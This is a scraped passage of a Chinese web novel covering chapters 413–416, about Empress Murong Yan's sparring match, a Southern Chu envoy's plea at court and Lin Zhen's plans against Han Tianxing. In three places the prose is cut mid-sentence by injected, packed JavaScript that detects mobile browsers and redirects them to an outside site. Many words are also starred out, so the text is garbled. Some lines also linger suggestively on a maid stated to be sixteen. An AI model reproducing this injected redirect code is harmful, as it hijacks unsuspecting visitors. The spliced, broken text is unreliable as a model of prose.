慕容嫣侧身一闪凤袍紧贴身体拖尾如灵动的飘带迅速绕过刘妙颜的攻击范围同时**从刘妙颜**下方刺出直逼她胸口。 刘妙颜胸不算大但被捅一下肯定也受不了。 慌乱中用枪杆抵挡枪尖却被慕容嫣的**缠住一时间两人僵持不下。 慕容嫣眼神一冷用力一甩**将刘妙颜的**甩开同时借力旋转身体凤袍鼓起拖尾在空中划出一道美丽的弧线如同一把巨大的扇子向刘妙颜扇去。 刘妙颜躲避不及被拖尾抽中肩膀一个踉跄差点摔倒。 慕容嫣乘胜追击**如雨点般刺向刘妙颜 刘妙颜疲于招架汗水湿透了她的后背劲装紧紧贴在身上。 她的呼吸越来越急促**的舞动也越来越慢眼神中开始流露出绝望。 反观慕容嫣凤冠依然端正珠帘轻轻晃动凤袍上的凤凰图案愈发鲜艳拖尾在她身边舞动得更加灵动仿佛在为她助威。 她的眼神坚定而冷酷手中**的攻势丝毫没有减弱。 又一轮交锋后刘妙颜体力耗尽双腿一软跪在地上**无力地垂在身旁。 慕容嫣**停在她面前枪尖离她的咽喉只有一寸距离。 “呵呵呵颜颜你服不服?”慕容嫣清冷的声音响起凤袍和拖尾慢慢静止下来一切归于平静。 这场惊心动魄的晨练不仅展现了慕容嫣的绝世风姿也让刘妙颜深刻认识到了什么叫差距。 “陛下微臣服了。” “哈哈哈好姐妹快起来。”慕容嫣仰天长笑一声单手将刘妙颜扶起来。 说实话这些年刘妙颜没服过谁。虽然很怕慕容无舌但也只是怕而不是服。 但她今天是真服了慕容嫣。 太强了打了近半个时辰连滴汗都没流。 难道这就是传说中的先天圣体? 此时院子四周早已围满了宫女、太监他们起初是被打斗声吸引而来后来便被这场精彩绝伦的比武深深吸引看得目不转睛。 此刻见比斗结束众人纷纷鼓掌叫好。 “陛下万岁!” “陛下武艺超群!大乾万年!” “陛下太厉害了!” 他们对慕容嫣的高超武艺和绝美风姿赞叹不已。 慕容嫣收起**微微点头示意。然后对刘妙颜说道:“颜颜 “额”刘妙颜脸蛋一红对慕容嫣一抱拳转身离开。 既然慕容嫣已经强大到这个地步了那以后也不需要别人保护了。 所以她也不能继续住在宫里了。 奶奶的就住了两宿折腾什么啊。 回去找林臻问问看看他还有没有这种可以让人变强大的药。 如果没有那就狠狠地要!宁可把他榨干也不能再让她培养出来一个变态。 否则老娘以后在军中还怎么混? 慕容嫣迈着优雅的步伐向殿内走去。 她身后的凤袍拖尾随着她的走动轻轻摆动每一步都像是在走红毯尽显尊贵。 凤冠上的珠帘依旧发出轻微的碰撞声仿佛在诉说着这场晨练的精彩瞬间。 回到寝宫慕容嫣轻轻摘下凤冠放在梳妆台上凤冠在阳光的照射下依然光彩夺目。 她脱下凤袍仔细叠好抚摸着上面的凤凰图案心中感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313852|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慨万千。 她喊来麝月:“麝月。” “奴婢在。” 麝月怯生生地站在她身后双手攥在一起。 慕容嫣说道:“你说这凤袍是不是短了点?” “啊?陛下这还短啊?再长还能拖得动吗?” “呵呵呵朕现在浑身上下有着使不完的凤凰劲儿去告诉绣娘以后朕的凤袍全部按照二十五丈设计。” “这奴婢遵旨。” 五十米长的凤袍.麝月是真不知道她能不能拖得动但既然是圣旨那照做就是了。 于是她转过身要走慕容嫣却再次把她叫住:“站住跑那么快干什么?过来给朕更衣。” 慕容嫣虽然没出汗但是那凤袍、拖尾都在刚刚的打斗中弄脏了。 她可不能穿着脏兮兮的衣服去面对群臣。 站起身张开双臂。 麝月小心翼翼地将她身上的衣物全部取下当看到那比自己不知道要大多少号的胸脯时小丫头的脸红了。 很红很红。 在给慕容嫣穿肚兜的时候慕容嫣刻意逗她:“麝月朕还不知道你多大了呢。” 麝月心里想着胸脯的事情下意识的说:“没陛下的大。” “嗯?”慕容嫣诧异的低头看了看。 随即笑着揪住麝月的耳朵! “啊呀!!陛下!疼啊!”麝月立刻开始大叫。 “小浪蹄子是不是思春了啊?嗯?朕问你的是你年龄多大不是胸脯多大!” “奴婢.啊.呜呜呜.奴婢今年十六了嘛。”麝月竟然开始大哭起来泪珠子像算盘似的 “哼。” 慕容嫣冷哼一声松开手忽然发现麝月的耳朵根隐隐有些出血了。 她心里一痛。 她忘记了自己力量变大的事情刚才以玩笑的方式去拧居然把伤到了她。 见小丫头还在哭慕容嫣心疼地看了看说道:“疼吗?” “嗯” “去上点药吧衣服朕自己穿。” “是。” 麝月福了一福连忙走出去。 这就是伴君如伴虎啊明明疼的要命却一声也不敢吭。 慕容嫣无奈的叹了口气又坐回梳妆台面前看着镜子里绝美的自己她突然鬼使神差的伸出手在自己胸脯下面托了一下。 “唉这噬心蛊可真是把双刃剑啊也不知道夫君当时是怎么挺过来的。” “来人传膳。” “是。” 宫女们鱼贯而入将几样小菜摆在餐桌上慕容嫣吃了好饭就去上朝。 国家的事儿没有小事儿所以每天的例会必不可少慕容嫣总体来讲还算是个很合格的皇帝。 只要不涉及她的钱财她的凤袍基本群臣说的话她都会仔细听然后分析其中的利弊并且给出相对正确的判断。 这也多亏了现在朝中大部分都是忠臣不会做出什么不利于江山社稷的事情。 但也有人说这金銮殿上也不能都是忠臣皇帝就要有权衡之术。 慕容嫣对此却不屑一顾她认为大臣就要越忠心越好。 臣子越是中心,大家就能把劲儿往一起使,这样才能利国利民。 早朝林臻不在,也不知道干什么去了。 但是有一位不速之客,让慕容嫣微微蹙眉。 此人,就是南楚驻大乾使臣,楚峰。 在鸿胪寺官员说完楚峰求见之后,慕容嫣点头应允。 就见金銮殿的朱漆大门缓缓打开,沉重的声响在庄严肃穆的殿堂内回荡。 楚国使臣楚峰身着一袭藏蓝色长袍,稳步踏入殿中。 那长袍质地精良,绣着精致的暗纹,透着一股来自异国的神秘气息。 他身姿挺拔,面容冷峻,目光在殿内扫视一圈后,径直朝着殿中央走去。 殿内,金碧辉煌,阳光透过雕花窗棂洒下,在金砖地面上投下一片片光影。 两侧文臣武将分立,皆身着朝服,神情肃穆,或目光犀利,或低眉沉思,气氛凝重得仿若能攥出水来。 楚峰最终在殿中央站定。 他的前方,是那高高在上、散发着无上威严的凤椅。 慕容嫣端坐在其上,凤袍加身,金丝绣就的凤凰栩栩如生,似要振翅高飞;凤冠璀璨,垂下的珠帘遮住了她半张绝美面庞,却掩不住那从眼眸中透出的凌厉与尊贵。 楚峰缓缓屈膝下跪,双手伏地,朗声道:“外臣楚峰,参见大乾陛下,愿陛下万岁万万岁。” 他的声音低沉而有力,在殿内嗡嗡回响。 第414章 每个月再送来二十万 慕容嫣微微抬手,轻启朱唇:“免礼平身。” 声音清脆,却带着不容置疑的威严,仿若能穿透这厚重的空气,直抵人心。 然而,楚峰却并未起身,他依旧保持着跪地的姿势,紧接着,一声突兀的嗷呜从他口中发出,而后竟是放声大哭起来。 “啊!!呜呜呜呜呜!!” 这哭声如决堤的洪水,汹涌而出,瞬间打破了殿内原有的静谧,引得群臣一阵哗然。 慕容嫣秀眉微蹙,心中顿生厌烦。 她强压着怒火,提高了声音问道:“楚国使臣,你这是作何?有何事速速说来,莫要在朝堂之上哭闹,成何体统!” 楚峰仿若未闻,哭声愈发悲戚,他把头重重地肯在地上,一下又一下,额头很快便红肿起来。 “陛下!!陛下啊!!” 许久,他才抽噎着开口:“陛下啊,外臣万不得已,才在这朝堂之上失态。昨日世子殿下突然找到外臣,态度强硬,要求我大楚即刻交出韩天星。陛下,您也知晓,韩天星乃是我大楚丞相,于国之根基举足轻重,哪能说交出来就交出来啊!” 他边说边抬起满是泪水的脸,望向慕容嫣,眼神中满是哀求与无助。 “臣求陛下圣明,看在两国刚刚签订停战条约的份上,遵守条约内容,莫要为难我大楚。我大楚一直以来都对大乾恭敬有加,现在又开始朝贡,从未有过二心。如今世子此举,实在是让臣等进退两难。若真交了丞相,我大楚朝堂必乱,政令不通,届时受苦的还是两国百姓啊!” 楚峰言辞恳切,字字句句皆透着无奈与悲戚,殿内群臣听了,也不禁交头接耳,议论纷纷。 慕容嫣目光一凛,心中哪里还有不明白的。 昨夜林臻刚说要拿韩天星出出气,今天楚国使臣就来了。 不愧是朕的夫君啊,办事效率就是高。 但这么鲁莽的要求南楚交出韩天星也不太现实,林臻肯定也明白这个道理。 只是不知道林臻的后手是什么。 慕容嫣思虑再三,问道:“使臣,你且细细说来,世子因何缘故要你大楚交出丞相?可有什么凭证?” 楚峰连忙摇头,哽咽道:“臣实在不知啊,世子只是撂下狠话,说若不交出韩天星,便要挥师南下,以大乾铁骑之威踏平我大楚。臣听闻此言,吓得魂飞魄散,一夜未眠,这才赶忙进宫求见陛下。陛下,您一定要为臣等做主啊!” 慕容嫣的手指轻轻敲击着凤椅扶手,发出有节奏的哒哒声,殿内瞬间安静 下来只有这敲击声回响。 片刻后她开口道:“楚使臣此事朕已知晓定会彻查清楚。你先起身莫要再哭哭啼啼有损使臣风范。” 楚峰却仿若没了起身的力气依旧瘫跪在地上哭诉道:“陛下臣不敢起身啊。若是今日不能求得陛下一个准信臣回楚国如何向陛下交代?臣一家老小的性命可都系在这事儿上了。求陛下即刻下旨约束世子行径让我大楚免受这无妄之灾。” 慕容嫣见状心中有些不悦。 她深知此刻不能乱了分寸否则朝堂局势将更加复杂难控。 唉讨厌的夫君偏偏这个时候又不在场。 于是她放缓了语气说道:“楚使臣朕既已说会彻查便不会失言。你且放心大乾与大楚多年交好朕不会轻易让战火重燃的。你先回鸿胪寺等候消息朕定会给你一个满意答复。” 楚峰抬起婆娑泪眼望着慕容嫣似在判断她话语的真假。 良久他才缓缓起身再次跪地谢恩:“多谢陛下隆恩 说罢她起身在众人的注视下缓缓退出金銮殿。 待楚峰离去殿内瞬间炸开了锅文臣们纷纷上前你一言我一语。 刘恺威听楚峰所言早就想说话了只是碍于慕容嫣的面子没好意思打断现在上前一步洪钟般的声音说道。 “陛下臣听闻昨日又有煊赫门的刺客进宫臣认为世子此番做法没有任何问题!必须抓住韩天星这个老贼否则我大乾颜面何在?” 礼部尚书见状微微皱眉轻咳一声出列说道:“刘尚书此言差矣。陛下两国相交贵在诚信。我大乾与楚国已经签订停战条约若只因世子一言便贸然兴兵恐失天下人心且一旦开战生灵涂炭受苦的还是两国百姓。还望陛下三思而后行。” 户部尚书也紧接着附和道。 “是啊陛下。打仗打的就是钱粮如今我大乾虽国库充盈但一场大战下来消耗必然巨大恐会影响民生。再者派刺客的人到底是不是韩天星也不知道贸然出兵怕是不妥。” 兵部侍郎冷哼一声抱拳道:“二位大人莫要长他人志气灭自己威风。我大乾兵强马壮粮草充足他南楚已经战败就算再打也还是战败怕什么?” 刘恺威说道:“就是我大乾何惧一个楚国?那韩天星若是真是派**的人那就绝不能留着!” 慕容嫣目光扫过群臣心中暗暗叹气 。 这朝堂之上永远都是文臣主和、武将主战各执一词。 她抬手示意众人安静说道:“众爱卿莫要慌乱此事朕自有主张。传朕旨意即刻宣世子进宫朕要当面问个清楚。” 旨意传下朝堂暂时安静下来众人皆在时间等待林臻进宫。 慕容嫣坐在凤椅上闭目沉思 她不知道林臻究竟是怎么打算的万一下了和他不一样的命令到时候也麻烦。 还不如直接把他喊来让他自己处理。 对就这么办! 朕才不给他擦屁股呢。 不多时殿外传来通报声:“世子殿下到!” 慕容嫣睁开双眼目光投向殿门。 只见林臻大步跨进殿来他身着一袭玄色锦袍腰间束着一条玉带玉带上镶嵌的宝石在阳光的照射下熠熠生辉愈发衬得他气宇轩昂。 林臻先向慕容嫣行了一礼动作优雅却不失恭敬口中说道:“微臣参见陛下。” 林臻直起身来目光扫过殿内群臣眼神中透着几分不羁与自信。 慕容嫣凝视着他开口问道:“世子楚国使臣前来哭诉言你昨日向他索要楚国丞相韩天星还扬言若不交出便挥师南下可有此事?” 林臻嘴角微微上扬露出一抹似有若无的笑容不紧不慢地说道:“确有此事。” 他的声音清朗在殿内回荡却让不少大臣心头一紧。 慕容嫣秀眉紧蹙语气中带了几分质问:“你为何如此行事?这其中可有隐情你且细细说来。” 林臻向前迈了一步朗声道:“微臣此举绝非意气用事。据臣得到的密报就是这韩天星暗中勾结**意图谋害陛下其心可诛!微臣为了大乾的江山社稷着想这才要求楚国交出此人以绝后患。” 此言一出殿内顿时议论纷纷。 向来不敢顶嘴的礼部尚书今天也硬气起来说道:“世子殿下此事干系重大即便有密报也需审慎核实。若是仅凭一面之词便兴师问罪恐怕会引起楚国的强烈反弹危及两国和平啊。” 刘恺威却哈哈大笑起来声震屋瓦:“尚书大人你这是迂腐之见!世子殿下既已掌握情报自当果断出击。若错失良机让那韩天星继续为祸才是对我大乾的不负责任!” 林臻微微侧目看了刘恺威一眼。 到底是便宜老丈人啊。 关键时刻真支持自己。 “刘大人 所言极是。我再次重申,我林臻并非鲁莽之人,在行动之前,自然是做了诸多调查。这韩天星在楚国位高权重,又是煊赫门门主,门生遍天下。他若与我大乾叛党勾结,一旦时机成熟,内外夹击,我大乾必将陷入危局。如今我们主动出击,正是防患于未然。” 户部尚书皱着眉头,小声嘀咕道:“可这毕竟是涉及两国关系的大事,若要动武,得考虑周全啊.” 兵部侍郎不耐烦地打断他:“大人,你总是这样瞻前顾后!如今世子殿下有勇有谋,为我们指明了方向,我们自当全力支持,哪能畏首畏尾?” 慕容嫣静静地听着众人的争论,心中愈发焦急。 林臻平时可不是这样处理事情的,今天这是怎么了? 她看向林臻,问道:“林臻,你当真要对南楚动武?” “没错,如果他不交出韩天星,这仗就继续打,反正王爷的军队还在广陵驻扎呢,闲着也是闲着。” “什么?闲着也是闲着?世子,恕下官冒昧,您这样说话简直是对大乾江山,对大乾将士的不负责任啊!”礼部尚书终于站了出来。 林臻却只是轻描淡写地看了看他,并没有说话。 慕容嫣沉思片刻,抬起头来,对群臣说道:“此事关乎重大,朕需再做斟酌。众爱卿先退下,林臻留下,朕有话问你。” “臣等遵旨。” “退朝! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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袖口宽大,足有二尺有余,绣着连绵不绝的缠枝莲,莲花朵朵饱满,花瓣层层叠叠,粉色与白色相互映衬,灵动而娇艳,每当慕容嫣抬手,便如同彩云飘动,美不胜收。 最令人瞩目的当属那五十米长的拖尾。 诶? 林臻懵了。 不是二十米吗?怎么变五十米了? 这拖尾展开时,仿若铺开了一幅锦绣山河图。 前端紧密地系在慕容嫣纤细的腰间,后端沿着地面蜿蜒伸展,锦缎之上,用五彩丝线绣满了世间万象。 有巍峨耸立的高山,山上怪石嶙峋,青松翠柏扎根其间;奔腾不息的江河,江水滔滔,白浪翻涌,鱼儿在水中嬉戏跳跃,鳞片闪烁着银光。 边缘处,绣着繁复的万字纹,寓意万福万寿,连绵不断。 每一寸绣工都精湛到极致,凝聚着匠人们无数的心血与智慧。 林臻瞧着这拖尾,心里暗叹,这哪是服饰,分明是用金银财宝堆砌而成的移动画卷,这一路上拖过去,简直就是在地上铺金撒银。 合着自己给她的钱,她都在穿衣服上了。 很像你们那些除了逛街买衣服啥也不会的女朋友。 慕容嫣似有所感,脚步微微一顿,却并未回头,轻声问道:“夫君,在想什么呢?如此出神。” 林臻叹了口气:“唉,微臣是在想,做男人可真难啊。赚点钱都用来给老婆买衣服了。” “噗呵呵呵呵。”慕容嫣停下脚步,怪嗔地看着他:“嫌朕的拖尾太长就明说,阴阳怪气的给谁看?” “你还知道啊?嫣儿,不是我说你,之前你那拖尾就已经很长了,现在这简直就是离谱!” “你少管!赚那么多钱不花留着干什么?再说,这根本就没花多少钱,宝石是地方进贡来的,布料是宫里的蚕丝吐的,金银玉器也都是你**顾家的时候送朕的小礼品。朕都没开口问你要钱,你哭什么穷。” 林臻心下稍安。 只要慕容嫣不提钱就行。 谁知道这妮子紧接着下一句话就是:“朕的小金库被户部拿走了,你每个月再多送来二十万吧。” “啥?陛下,我们还是以君臣之礼说话比较好,你这和**没区别啊!” 第415章 该不会还有修仙者吧? 林臻现在隐隐有点后悔如果当初不认识慕容嫣那自己现在绝对富可敌国。 慕容嫣气得直跺脚像小女人撒娇似的说:“好啊!在床榻上口口声声说爱朕爱得不能自拔转过头来连二十万都不愿意给真是铁公鸡!一毛不拔!” “诶别别别!陛下同志我要没记错这话是你说的吧?我什么时候说爱你不能自拔了?” “我不管!一个月加二十万送进宫来否则朕就又变成穷鬼了!”慕容嫣伸出葱白的手指指着林臻鼻子尖眼看着就要碰上了“你若是不给朕就找张俪去要!到时候大家都别想过好日子!” “.”林臻还能说什么呢。 好像只要谈到钱慕容嫣就一步都不退比让她跪下今口住都难。 唉罢了。 男人赚钱不就是给老婆花的嘛?更何况慕容嫣此举也能刺激消费还不算太坏。 最坏的结果就是慕容嫣在宫里找个坑把钱藏起来那才是最糟糕的。 钱这东西只有流通起来才有价值如果藏起来那就是一对破铜烂铁。 所以说贷款买房的含金量还在提高。 见林臻不说话慕容嫣露出一丝狡黠的笑容反手搂住林臻的手臂两人一同去往暖亭。 说来奇怪以前慕容嫣是最怕冷的大冬天恨不得穿十件狐裘但是自从身体发生变化后狐裘穿与不穿都没有区别。 穿上不感觉热脱下来不感觉冷甚至在没有火盆的暖亭里慕容嫣也会很自然地解开凤袍外的披肩露出一段光滑白皙的天鹅颈。 这是个几乎完美的女人林臻为了报复每个月丢失二十万的怒火便把头埋进她的颈间狠狠吸了一口。 “吸溜。” “哎呀啊哈哈哈哈!”慕容嫣被林臻的动作逗得哈哈大笑“夫君好生讨厌但朕很好奇你为何不把头埋进朕的胸口呢这里更暖和。” 林臻无奈地撇撇嘴:“我倒是想.你以为我敢吗?” “哦?这个世界上还有夫君不敢做的事情?” “当然你夫君我可是正人君子那么涩情低俗的事情当然不敢做了。” “噗呵呵呵呵。”慕容嫣又是一阵娇笑随即接过麝月手中的茶壶。 两人坐在暖亭里气氛有些旖旎。 慕容嫣自己将拖尾整理一下 “当然不会打仗这 种事情牵一发而动全身况且南楚在江南地区多水路气候潮湿。我们跨江作战本就不占天机。与南楚相比我更想先把北燕这个喜欢搞偷袭的家伙吃掉。” “那为何夫君还用动兵来威胁楚峰?这样做好像没什么意义。” “这是一种警告我要通过楚峰的嘴告诉楚霸天。让他约束好韩天星这个老不死的再敢动用煊赫门跟我找茬我就平推了南楚。” 慕容嫣摇摇头用帝王的思维考虑了林臻的话随即无奈说道:“韩天星肯定知道夫君不会用兵所以刺客还会有煊赫门的袭扰也还会有。” “没错。”林臻点点头“所以我在想一个可以遏制南楚的办法让他们做任何事情都会畏首畏尾只有这样才能给楚霸天形成一股压力。让他臣服我大乾的威慑不敢轻举妄动。” “那夫君打算怎么办?如果不出兵我们好像并没有太好的办法。” “你知道武清有个造船厂吗?”林臻拿着茶盏喝了一口。 突然眼睛一亮。 居然是上等的乳前龙井。 嫣儿难道也好这一口? “武清造船厂朕当然知道可船不是还没下水吗?再说现在天寒地冻地辽东湾都已经结冰了就算有船也开不出去啊。” “没错这种情况恐怕要等到来年三月才可以不过按照目前的进度船已经造好了剩下的就是试验。只要没问题我们一个月内就能有十艘军舰下海。你想想这些军舰整天没事就在金陵城外面转悠楚霸天能不害怕吗?” 慕容嫣担忧的道:“那也仅仅是起到威慑的作用如果韩天星对此视而不见我们还是没有办法。” “呵呵呵楚霸天是皇帝他不会允许有别国的战舰在自己首都门口晃悠的他肯定会想办法驱赶。但长江之上我们与南楚都有通行权他无能为力打又打不过赶又赶不走。长期以往他必定会心烦从而对韩天星发脾气。因为这些都是韩天星造成的。除了这个办法以外你忘了?我们手里还掐着一个宗门呢。” “你是说天道!”慕容嫣眼睛一亮。 林臻点头道:“没错天道的人现在基本开始臣服朝廷了 说到这林臻有些惆怅。 本来他就有干掉韩天星的打算。 这个人能力太强又有那么多的门生。把他放在南楚林臻可谓是寝 食难安。 虽然他不认为韩天星搞建设的能力比他强,但这哥们洗脑厉害啊。 人是最怕洗脑的。 只要洗了脑,连死都不怕。 到时候南楚上下团结一心,誓死抵抗大乾,那即便最后能打赢,大乾也会元气大伤,从而短时间内再也没有征战其他国家的能力了。 就像经历过赤壁之战的丞相。 这个结果是林臻最不想看到的,所以他一开始就找到青霞,想让老宗主亲自出马。 谁知,老宗主居然不愿意。 还是自己老丈母娘呢,连这点小忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322823|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不帮。 慕容嫣在这件事情上与林臻持一样意见,她也认为韩天星这个人留不得。 “可是韩天星毕竟是南楚丞相,其实说干掉就能干掉的?” “干不掉恶心恶心他也好啊,就像他明知道杀不死你,还偏偏派来**恶心你一样。” “可是朕总觉得,这个**应该不是煊赫门派来的。毕竟哪个刺客会把代表身份的令牌揣在身上呢。” “我也在考虑这个问题,但我们手头目前没有关于哈德门的线索,所以只有把这股火洒在韩天星身上了。”林臻霸气地拿起茶杯。 突然他看到慕容嫣在喝茶时露出的白藕般的手臂。 他忙放下茶盏,抓过慕容嫣的手仔细观瞧。 他明明记得昨天慕容嫣的手臂上还有一道触目惊人的伤口,怎么今天就没了? “嫣儿,你的手臂,昨天不是受伤了吗?” “对呀,朕也很好奇呢,今天早上起来的时候结的痂都已经脱落了,但是还有一点浅浅的红印,现在居然一点也没有了。” “嘶这也太离谱了吧。” 林臻见过伤口愈合能力强的,那也只是些小伤口。 慕容嫣昨天受的刀伤若放在后世,肯定是要缝针的。 她不仅没缝,反而一夜之间就连疤痕都消失得无影无踪。 这绝对不是什么狗屁金疮药的关系。 应该是噬心蛊! 我的姥姥啊。 这个蛊到底是什么东西啊? 不仅能强化身体,还能增强伤口愈合能力! 太可怕了,这个世界恐怕远远不是自己想象的那么简单。 嘶.该不会还有修仙者吧?那可就完蛋操了。 如果真有修仙者,那自己所做的一切岂不是都在为他人作嫁衣裳? “夫君,你怎么了?”慕容嫣见林臻脸色很难看,于是问道。 林臻摇了摇头。 他现在迫切的需要知道这个世界的更多秘密,以便早做打算。 林臻说道:“嫣儿,我们恐怕得开始布局一件事情了。” “什么事情?” “探索。” 慕容嫣歪着头问:“探索,探索什么?” “对这个世界的探索。你想一下,你儿时吃的药,从何而来?” “听说是苗疆。” “那我们就派人去苗疆看看,万一有什么收获也说不定,总之我们不能再这样两眼一抹黑的乱撞了,必须得知道这个世界更多的隐秘之事,否则一旦发生,我们之前的所有努力都会白费。” “夫君言之有理。” 第416章 朕技不如你 两人正说话间,麝月撩开暖亭的纱幔走进来,躬身道:“陛下,张俪到了。” 林臻看得真切。 麝月这妮子在躬身的时候,胸口被挤压得鼓鼓的。 双手放在小腹,与上面的轮廓形成完美对比。 嘶.又是一茬的姑娘长成了呀。 慕容嫣面带不悦地说道:“放肆,怎可直呼其名?你要叫张俪夫人。” “是,奴婢知罪。” 慕容嫣看到林臻的眼神,心照不宣地笑了笑,对麝月说:“把人请进来。” “是。” 麝月退了出去,林臻还目不转睛地盯着她行走时一扭一扭的小屁股猛看。 慕容嫣怪嗔地打了林臻一下:“想收就收下,这么盯着人家小姑娘看成何体统?” “收?”林臻苦笑着摇摇头,“算了吧,妻妾越多,责任就越大,我现在已经没有那么多精力去照顾更多的女人了。” “你倒是个有情有义的,比那些达官显贵嫁的纨绔子弟强多了。”慕容嫣一边笑着,一边深情望向林臻,“这就是朕喜欢你的地方。” 林臻老脸一红:“额” “但是你真的不打算收下小麝月吗?她可是朕的贴身宫女,就这么孤独终老在宫里,未免太可怜了。” “到时候再说吧。”林臻继续刚才的话题,“我准备让四大营各派出百名精锐士兵,先去苗疆打听情况。这里面也安排进你百骑司的人吧。” 慕容嫣摇头道:“不用了,百骑司连京城这一块的事情都负责不明白呢,哪有心思去探索世界,不过,朕倒是好奇天的尽头是哪,你通知派出去的士兵,如果找到了天的尽头,立刻回来报告。” 尽头? 哪有尽头啊。 我们都生活在一个球上,如果一直往东走,你会发现又走回了原点。 但这件事情根本没办法和慕容嫣解释,也就楚惜灵和他能有点共同话题。 这时慕容嫣抓住林臻的手,凤目雪亮地说道:“夫君,朕现在可是能打过颜颜的高手哦!” 早上的时候刘妙颜回到王府,脸色很不好,林臻追问之下才得知了她输给慕容嫣的事情。 一开始林臻还不信,正准备进宫问问,谁知道就碰到了无舌来传旨。 林臻问道:“真的?” “嗯!你不信啊?跟我来!” 慕容嫣牵起林臻的手,走出暖亭。 皇宫戏台。 飞檐斗拱之上金漆在日光下熠熠生辉,与周围肃穆 的宫殿相互映衬,透着几分庄重又暗藏几分喧嚣。 慕容嫣与林臻并肩而来,她身姿挺拔,仪态万千。 那身华丽无双的凤袍随着步伐轻轻摆动,凤冠之上,金丝缠绕的凤凰在光影中闪烁,珍珠流苏簌簌晃动,似在低语着尊贵的密语。 每一颗珍珠都圆润饱满,散发着柔和的光晕,随着慕容嫣的细微动作轻轻碰撞,发出清脆悦耳的声响。 两人行至戏台近前,只见台上早已稳稳放置着两个武器架,刀枪剑戟林立,寒光闪烁。 慕容嫣美目流转,莲步轻移间,忽地身形一跃而起。 刹那间,凤袍烈烈作响,仿若旌旗在风中呼啸,大红的袍身如同一团燃烧的烈焰,在空中划出一道惊艳的弧线。 那五十米的拖尾仿若一条灵动的彩云,在她身后肆意翻涌,飘飘然间,她恍若变成了敦煌壁画中破壁而出的飞天仙女,衣袂翩跹,美得惊心动魄。 绣在凤袍上的凤凰,此刻也被主人的豪情点燃,振翅欲飞,金线勾勒的羽翼在灯下闪烁着刺目的光芒,仿佛要冲破这绸缎的禁锢,翱翔九霄。 凤冠上的凤凰更是栩栩如生,随着慕容嫣的跃起,它的脖颈微微伸展,像是在为即将到来的战斗呐喊助威,红宝石镶嵌的双眼迸射出凌厉的光芒,与慕容嫣眼中的战意相映生辉。 慕容嫣轻盈地落在戏台上,莲指轻拂,握住一杆**。 **在手,她整个人的气势瞬间一变,宛如沙场点兵的女将军,英气逼人却又不失绝美风姿。 她朱唇轻启,对着台下不远处的慕容无舌高声道:“无舌,和朕走几招。” “额”慕容无舌看了看身边的林臻,见他没有反应,便微微躬身,脸上带着一抹谦卑的笑意,口中应道:“陛下,老奴得罪了。” 话音未落,他身形如电,疾冲向戏台。 虽说手中未拿兵器,但其周身散发的气势却如出鞘利刃,让人不敢小觑。 眨眼间,无舌已至台前,他脚步轻点,侧身一记凌厉的掌风直逼慕容嫣面门,掌势雄浑,带起周遭空气的呼啸。 这一掌看似简单,实则暗藏玄机,掌力刚猛之中透着阴柔,一旦击中,便能让对手瞬间失去反抗之力。 慕容嫣见状,不慌不忙,凤冠之下,美目凝光。 她手中**一抖,枪尖在空中挽出一个漂亮的枪花,恰似一朵绽放的金属蔷薇,“叮”的一声脆响,精准无比地抵住了无舌的掌风。 那一瞬,枪尖与掌心之间似有火花迸溅,光芒闪耀, 映照出慕容嫣坚毅的面容。 凤袍因她侧身格挡的动作而大幅摆动,凤凰绣纹仿若活物,在袍身扭动、挣扎。 五十米拖尾如灵动的游蛇,在戏台地面蜿蜒游走,所经之处,扬起细微的尘土。 凤冠上的珍珠流苏剧烈摇晃,相互碰撞,发出一阵急雨般的声响。 无舌一击未中。 借着前冲的势头,矮身一个扫堂腿,快如疾风,直取慕容嫣下盘。 慕容嫣轻盈跃起,如同一只展翅的彩凤,凤袍飞扬而起,在空中舒展开来,仿若一片绚丽的晚霞将她包裹。 此时,凤袍上的凤凰绣纹更显夺目,它们似乎在随着慕容嫣一同跳跃、飞翔,凤凰的眼睛闪烁着灵动的眼光,紧盯下方的无舌。 凤冠上的凤凰也不甘示弱,双翅微微上扬,似在助力慕容嫣飞得更高。 五十米拖尾随着慕容嫣的跃起,在戏台上面划出一道优美的弧线,拖尾上的珠宝光芒四射,晃得人睁不开眼。 她在空中滞留片刻,**顺势下刺,枪尖直逼无舌肩头,寒芒闪烁,恰似流星坠地。 这一**出,角度刁钻,速度极快,凝聚了慕容嫣全身的力量,尽显她精湛的枪法。 无舌侧身一闪,脚掌在戏台地面猛力一跺,借力反弹,双拳齐出,如双龙出海,带着呼呼风声,攻向慕容嫣小腹。 他这双拳挥舞之时,手臂上青筋暴起,每一拳都蕴含着千钧之力,双拳之间的气流相互冲击,发出“嗡嗡”的声响。 慕容嫣柳眉微蹙,眼神愈发坚毅,她将**一横,枪杆抵住双拳,“砰”的一声闷响,巨大的冲击力让慕容嫣后退数步,凤袍拖尾在戏台地面拖出一道深深的痕迹,扬起大片尘土。 但她随即稳住身形,凤冠上的珍珠流苏在剧烈晃动后重新归位,依旧垂落得整整齐齐,散发着柔和的光晕。 